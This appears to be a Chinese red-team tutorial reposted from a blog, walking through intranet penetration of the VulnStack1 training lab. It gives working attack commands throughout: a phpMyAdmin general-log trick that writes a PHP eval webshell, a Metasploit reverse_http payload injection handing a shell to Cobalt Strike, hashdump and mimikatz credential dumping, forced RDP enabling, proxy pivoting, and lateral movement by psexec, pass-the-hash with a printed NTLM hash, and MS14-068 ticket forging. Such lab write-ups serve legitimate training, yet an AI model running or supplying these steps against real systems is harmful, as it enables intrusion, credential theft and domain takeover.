红蓝对抗 | 内网渗透实战技巧

拿下Web服务器

phpmyadmin后台getshell

后渗透第一步

派生CobaltStrike权限

获得System权限

获取账号密码

远程桌面登录

添加路由、挂Socks4a代理

域信息收集

内网主机信息收集

内网存活主机探测

内网存活主机端口扫描

内网存活主机服务探测

内网横向渗透攻击技巧

MS17-010

CVE-2019-0708

psexec攻击

哈希传递攻击

MS14-068

本文章是关于内网方面渗透技巧的一个文章,用的环境是VulnStack1,VulnStack是红日安全团队出的一个内网渗透的靶机环境,感谢红日团队

代码语言:javascript
复制
地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

主要以该环境讲解内网渗透的技术。

拓扑图如下

  • Web服务器(Windows7): 192.168.10.14 、192.168.52.143 主机名:stu1
  • 域成员主机(Windows Server 2003):192.168.52.141 主机名:root-tvi862ubeh
  • 域控(Windows Server 2008): 192.168.52.138 主机名:owa

其中,Web服务器的192.168.10.14模拟公网地址,我们可以直接访问192.168.10.14。但是我们访问不了192.168.52.0网段。

拿下Web服务器

本文主要是讲内网渗透方面,所以关于怎么拿下Web服务器,比较粗略的过。

说下我们对Web服务器的思路吧。在红蓝对抗中,拿到了入口站点,我们首先会想办法获取入口点的shell,再以此挂隧道通内网。而拿shell无非是上传木马、SQL注入、反序列化。而在很多网站的登录后台后,会存在文件上传漏洞,进而getshell。

代码语言:javascript
复制
访问Web服务器地址:http://192.168.10.14/yxcms/

它是一个yxcms的站点。关于yxcms的漏洞,传送门:代码审计| yxcms app 1.4.6 漏洞集合

对于yxcms我也不熟悉,之前没接触过。拿到目标第一先用御剑扫描下后台吧

发现phpmyadmin后台登录地址:http://192.168.10.14/phpmyadmin/

发现一个压缩包文件,该文件是网站的压缩包文件:http://192.168.10.14/beifen.rar

发现phpinfo文件:http://192.168.10.14/phpinfo.php

发现一些比较敏感的目录,这些目录都存在目录遍历漏洞

  • http://192.168.10.14/yxcms/robots.txt
  • http://192.168.10.14/yxcms/data/
  • http://192.168.10.14/yxcms/public/
  • http://192.168.10.14/yxcms/upload/
  • http://192.168.10.14/yxcms/protected/

phpmyadmin后台getshell

对phpmyadmin后台进行爆破,得到账号密码:root/root

进入phpmyadmin后台后,获取shell。传送门:phpmyadmin爆破和后台getshell

这里由于 secure_file_priv的值为NULL,所以我们不能利用写into outfile写木马getshell。

这里我们利用日志文件Getshell。传送门:phpmyadmin利用日志文件Getshell

执行以下命令

代码语言:javascript
复制
set global general_log=on;                                     #开启日志
set global general_log_file='C:/phpstudy/www/yxcms/hack.php';  #设置指定文件为网站日志存放文件
SELECT '<?php eval($_POST["cmd"]);?>'               #执行该语句,会将该命令写入日志文件中

最后用菜刀连接,如下。

后渗透第一步

在拿到了Web服务器的权限后,我们就要尽可能多的搜集该服务器的信息,然后搭建隧道通往内网!

执行以下命令我们知道当前的用户身份是 administrator ,在管理员组中,并且处在域 god 中。该主机有两张网卡

分别是:192.168.10.14,192.168.52.143。

由此可知,其实获得的这个权限就是域管理员权限。(搞不懂环境为啥要以域管理员账号登录,为啥不以本地普通用户登录??)

现在我们想反弹一个MSF的shell。将MSF生成的木马上传到该主机上,执行,反弹成功!

派生CobaltStrike权限

首先在CobaltStrike上开启一个监听

然后在MSF中执行以下操作,我们的CobaltStrike就接收到反弹过来的shell了。

代码语言:javascript
复制
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set DisablePayloadHandler true   #默认情况下,payload_inject执行之后会在本地产生一个新的handler,由于我们已经有了一个,所以不需要在产生一个,所以这里我们设置为true
set lhost xxxx                 #cobaltstrike监听的ip
set lport 14444                 #cobaltstrike监听的端口 
set session 1                   #这里是获得的session的id
exploit

获得System权限

这里由于获得的直接是adminsitrator权限,所以可以直接提到system。在真实环境中,这里很多时候都是一个普通用户权限,需要我们去提权。

获取账号密码

1:导出hash

代码语言:javascript
复制
run hashdump

2:导出hash

代码语言:javascript
复制
run windows/gather/smart_hashdump

3:加载 kiwi模块

这里尝试加载kiwi模块,获取不到账号密码

代码语言:javascript
复制
load kiwi
creds_all

4:加载 mimikatz 模块

再尝试加载 mimikatz 模块,加载模块前需要先将meterpreter迁移到64位的进程,而且该进程也需要是system权限运行的。

如图,成功获得账号密码:administrator/hongrisec@2019

代码语言:javascript
复制
migrate PID
load mimikatz
mimikatz_command -f sekurlsa::searchPasswords

远程桌面登录

这里我们已经获得了administrator的账号和密码,现在我们既可以使用administrator账号登录,也可以新建账号登录(hack/Password@)。(不建议直接用administrator身份登录,因为这样有可能会惊动管理员)

通过nmap扫描发现该主机的3389端口呈过滤状态,由此猜想可能是防火墙将该端口过滤了

于是执行以下命令开启3389端口

代码语言:javascript
复制
run post/windows/manage/enable_rdp

再次探测发现3389端口已是open状态

尝试3389远程登录该主机,但是弹出如果我们继续登录,则会断开该主机的当前连接。为了不惊动管理员,这里我们不继续连接了。

添加路由、挂Socks4a代理

  • 添加路由的目的是为了让我们的MSF其他模块能访问内网的其他主机
  • 添加socks4a代理的目的是为了让其他软件更方便的访问到内网的其他主机的服务

注:添加路由一定要在挂代理之前,因为代理需要用到路由功能

代码语言:javascript
复制
#添加路由
route add 0.0.0.0 0.0.0.0 1
run print

#添加socks4a代理
use auxiliary/server/socks4a
run
#然后打开/etc/proxychains.conf,加入下面一行
socks4 0.0.0.0 1080

#然后就可以使用nmap了
proxychains nmap -p 21 -Pn -sT x.x.x.x #在打开其他程序前加上proxychains

我们也可以在本机设置socks4代理,指向我们vps的1080端口。那么,我们本地的流量就会交给VPS的1080端口,而1080端口是MSF起的,MSF又添加了到内网的路由,自然我们就可以访问到内网的主机。

这里我实测用MSF挂的socks4a代理并不稳定,建议实战环境用 FRP 起的 socks5 代理,这里我为了省事直接用MSF的socks代理。其实新版的MSF也有了socks5代理,不过好像也不是很好用。

域信息收集

代码语言:javascript
复制
net time /domain        #查看时间服务器
net user /domain #查看域用户
net view /domain #查看有几个域
net group "domain computers" /domain #查看域内所有的主机名
net group "domain admins" /domain #查看域管理员
net group "domain controllers" /domain #查看域控

从域信息收集可以得到以下信息:

  • 域:god.org
  • 域内有三个用户:administrator、ligang、liukaifeng01
  • 域内有三台主机:
    DEV1(不在此环境中)
    ROOT-TVI862UBEH(192.168.52.141)
    STU1(192.168.52.143)
  • 域控:OWA(192.168.52.138)
  • 域管理员:administrator

由此可见,我们现在获得的即是域管理员权限。此环境内还有一台ROOT-TVI862UBEH(192.168.52.141)和域控OWA(192.168.52.138)。

内网主机信息收集

我们现在想进行内网横向渗透,就需要收集更多的信息,内网渗透信息收集是非常重要的一步。

由于我们之前添加了路由信息并且挂了Socks4a代理,所以我们现在可以使用MSF里面的探测模块以及nmap对内网进行探测。

内网存活主机探测

这一步在域环境渗透中可以省略,因为使用域命令可以直接查询域中有哪些主机。在非域环境中渗透,可以使用这一步。

在这里顺带提一下这个用法。更多的关于使用MSF进行内网探测,传送门:后渗透阶段之基于MSF的内网主机探测

代码语言:javascript
复制
auxiliary/scanner/discovery/udp_sweep    #基于udp协议发现内网存活主机
auxiliary/scanner/discovery/udp_probe    #基于udp协议发现内网存活主机
auxiliary/scanner/netbios/nbname         #基于netbios协议发现内网存活主机

内网存活主机端口扫描

1:使用MSF自带模块进行端口探测

代码语言:javascript
复制
auxiliary/scanner/portscan/tcp           #基于tcp进行端口扫描(默认扫描1-10000)

2:使用 proxychains 代理链利用 nmap 对内网主机进行端口探测

内网存活主机服务探测

代码语言:javascript
复制
auxiliary/scanner/ftp/ftp_version            #发现内网ftp服务,基于默认21端口
auxiliary/scanner/ssh/ssh_version            #发现内网ssh服务,基于默认22端口
auxiliary/scanner/telnet/telnet_version      #发现内网telnet服务,基于默认23端口
auxiliary/scanner/dns/dns_amp                #发现dns服务,基于默认53端口
auxiliary/scanner/http/http_version          #发现内网http服务,基于默认80端口
auxiliary/scanner/http/title                 #探测内网http服务的标题
auxiliary/scanner/smb/smb_version            #发现内网smb服务,基于默认的445端口   
auxiliary/scanner/mssql/mssql_schemadump     #发现内网SQLServer服务,基于默认的1433端口
auxiliary/scanner/oracle/oracle_hashdump     #发现内网oracle服务,基于默认的1521端口 
auxiliary/scanner/mysql/mysql_version        #发现内网mysql服务,基于默认3306端口
auxiliary/scanner/rdp/rdp_scanner            #发现内网RDP服务,基于默认3389端口
auxiliary/scanner/redis/redis_server         #发现内网Redis服务,基于默认6379端口
auxiliary/scanner/db2/db2_version            #探测内网的db2服务,基于默认的50000端口
auxiliary/scanner/netbios/nbname             #探测内网主机的netbios名字

经过了以上几步,我们就可以大致判断内网存活的主机、主机开放的端口以及服务这些基本信息了。

内网横向渗透攻击技巧

在对内网主机进行信息收集后,接下来我们就是要对内网主机发动攻击了。内网攻击方法有下面这些。

MS17-010

永恒之蓝在内网渗透中是屡试不爽的,基本上一打一大片。但是MS17-010在实际红蓝对抗渗透中(通过代理打内网)并不好利用,MSF中自带的模块要打很多次才能成功一次,而且MSF自带的模块打sever2003的机器很容器蓝屏。注意这里的payload必须设置为正向连接 bind_tcp。

如下,第一次打就没打成功。

CVE-2019-0708

该漏洞是今年爆出的一个windows RDP协议的漏洞,但是测了一下,发现该主机不存在该漏洞。另外,该漏洞成功率也不高,而且极有可能把目标机打成蓝屏的结果。所以在真实红蓝对抗中不建议使用该漏洞,除非有百分百的把握能打成功

psexec攻击

我们已经获得了域管理员 god/administrator 的账号密码,我们现在可以使用该域管理员账号密码利用 psexec 登录域内任何一台开启了admin$共享(该共享默认开启) 的主机。

注:由于提示需要修改密码,所以已将 god/administrator 的密码改为 Password@ 。

代码语言:javascript
复制
psexec.exe \\192.168.52.138 -u god\administrator -p Password@ cmd

但是在连接 Server2003服务器 的时候出了点小问题,提示服务没有及时响应启动或控制请求。

哈希传递攻击

在域环境内,只有获得了域管理员的哈希才可以攻击。这里假设我们得到了域管理员administrator的哈希,但是没有得到明文密码。在这里我们就可以用哈希传递攻击了。

代码语言:javascript
复制
在前面获得了域管理员 administrator 的NTLM哈希为:c456c606a647ef44b646c44a227917a4
代码语言:javascript
复制
sekurlsa::pth /user:administrator /domain:"god.org" /ntlm:c456c606a647ef44b646c44a227917a4

MS14-068

MS14-068漏洞适用于当我们获得了普通域用户的哈希,域控存在MS14-068漏洞的场景。我们现在想利用获得了普通域用户哈希去访问域控。

但是这里我们是直接获得了域管理员的哈希,这里只是演示下MS14-068漏洞的攻击手法

先获取需要利用的域用户的SID值

代码语言:javascript
复制
#生成票据TGT_administrator@god.org.ccache
MS14-068.exe -u administrator@god.org -p Password@ -s S-1-5-21-2952760202-1353902439-2381784089-500 -d 192.168.52.138       #MS14-068.exe -u 域用户@dog.org -p 域用户密码 -s 域用户的SID -d 域控ip

#在mimikatz中导入票据
kerberos::ptc TGT_administrator@god.org.ccache的路径

然后再打开一个cmd窗口尝试访问域控
dir \192.168.52.138\c$

来源:谢公子博客

责编:Vivian